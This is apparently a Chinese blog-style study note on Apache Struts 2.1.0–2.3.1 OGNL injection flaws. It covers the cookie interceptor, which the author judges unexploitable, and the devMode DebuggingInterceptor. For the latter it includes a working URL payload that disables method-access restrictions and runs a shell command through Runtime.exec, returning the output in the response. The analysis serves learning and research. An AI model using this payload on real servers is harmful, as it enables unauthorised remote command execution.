这个涉及了多个鸡肋漏洞,但是思路还是可以学!
Struts 2.1.0 - Struts 2.3.1
还需要配置一下真恶心,之前的struts.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<interceptors>
<interceptor name="cookie" class="org.apache.struts2.interceptor.CookieInterceptor"/>
</interceptors>
<action name="login" class="com.test.s2001.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
<interceptor-ref name="defaultStack" />
<interceptor-ref name="cookie">
<param name="cookiesName">*</param>
<param name="cookiesValue">*</param>
</interceptor-ref>
</action>
</package>
</struts>
这里看出确实可以,但是遇到一些特殊字符就无了,因此太鸡肋了甚至没必要分析了
通过getCookies以后只有第二个,因此最多一些简单的表达式,复杂的就没有办法了更别说rce了
主要是大多 Web 容器对 Cookie 名称都有字符限制,比如tomcat的
public static final char SEPARATORS[] = { '\t', ' ', '\"', '(', ')', ',', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '{', '}' };
所以没法利用,知道有这玩意儿就行了
开启很简单在struts.xml
当中添加
<constant name="struts.devMode" value="true" />
简单测试一下,果然是可以的
http://127.0.0.1:8080/#.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[1000],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))
现在简单分析一下,在org.apache.struts2.interceptor.debugging.DebuggingInterceptor
,在前面可以看到有四种模式,具体自己测试
private static final String XML_MODE = "xml";
private static final String CONSOLE_MODE = "console";
private static final String COMMAND_MODE = "command";
private static final String BROWSER_MODE = "browser";
那为什么可以解析任意ognl表达式呢,看下面两张图够了,太简单了就这样吧
太鸡肋了,暂时不想搞了